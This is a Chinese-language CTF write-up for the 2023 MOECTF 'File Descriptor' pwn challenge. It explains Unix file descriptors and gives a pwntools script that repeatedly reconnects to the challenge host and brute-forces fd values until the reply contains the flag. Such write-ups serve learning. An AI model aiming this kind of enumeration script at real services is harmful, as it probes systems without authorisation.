PWN-File Descriptor
题目来源:2023MOECTF
题目简述
大概是要我们输入一个叫fd的东西来读取文件,也就是只要我们输入正确的fd就可以得到flag,那什么是fd呢?
FD,即“文件描述符”,以下是摘录于知乎的简述:
fd是什么?
fd是File descriptor的缩写,中文名叫做:文件描述符。文件描述符是一个非负整数,本质上是一个索引值(这句话非常重要)。
什么时候拿到的fd?
当打开一个文件时,内核向进程返回一个文件描述符( open
系统调用得到 ),后续 read
、write
这个文件时,则只需要用这个文件描述符来标识该文件,将其作为参数传入 read
、write
。
fd 的值范围是什么?
在 POSIX 语义中,0,1,2 这三个 fd 值已经被赋予特殊含义,分别是标准输入( STDIN_FILENO ),标准输出( STDOUT_FILENO ),标准错误( STDERR_FILENO )。
文件描述符是有一个范围的:0 ~ OPEN_MAX-1 ,最早期的 UNIX 系统中范围很小,现在的主流系统单就这个值来说,变化范围是几乎不受限制的,只受到系统硬件配置和系统管理员配置的约束。
看完上面的介绍我们知道:
1.fd是一个非负整数
2.fd用来表示一个被程序打开的文件
3.fd中0,1,2已经被赋予特殊含义
4.fd可以非常大
一个想法从我心中诞生,是不是只要我从3开始一直试就能试出flag的fd。但问题又来了,如上面的图2和图3,当我向程序输入一个fd之后,程序会立即断开我的连接,这样会使我无法进行后面的穷举,该怎么办呢?很简单,那就再开一个连接,让我的脚本控制连接与中断,试完3就断开,然后开启新的连接试4,以此类推,把主动权掌握在自己手里。
编写POC
用python写脚本,并且请出我们的pwntools,写完后运行:
如果我们只是这样尝试,一条一条回显的看,很容易错过flag,而且浪费宝贵时间,于是,我增加了匹配与flag相关字符串的代码,上网搜索的代码有些很复杂,其实只需要一个in就可以,当字符串匹配时会返回一个True布尔变量。
from pwn import *
t = 3
check="moectf"
#context.log_level="debug"
while True:
r = remote("192.168.36.1","50633")
for i in range(1,5):
l = r.recvline() #分行接受信息
if i == 3: #将整形变量转化为byte并发送
strt = str(t)
r.sendline(strt.encode())
t = t + 1
if i == 4: #接受回显并检查
strl = str(l)
print(l)
if check in strl:
print("get flag!")
exit(0) #得到flag后退出
print(t)
r.close()
#time.sleep(1)
输入执行,去泡杯茶吧
这次结束的很干净
踩坑总结
1.python中的字符串匹配可以用正则表达式和re,但在这题里in是很好的选择
2.善于转换思路,比如本题中将连接掌握在自己手里的操作
3.这种解法对网络资源的需求高,网络不好程序可能会慢,而且容器会断开连接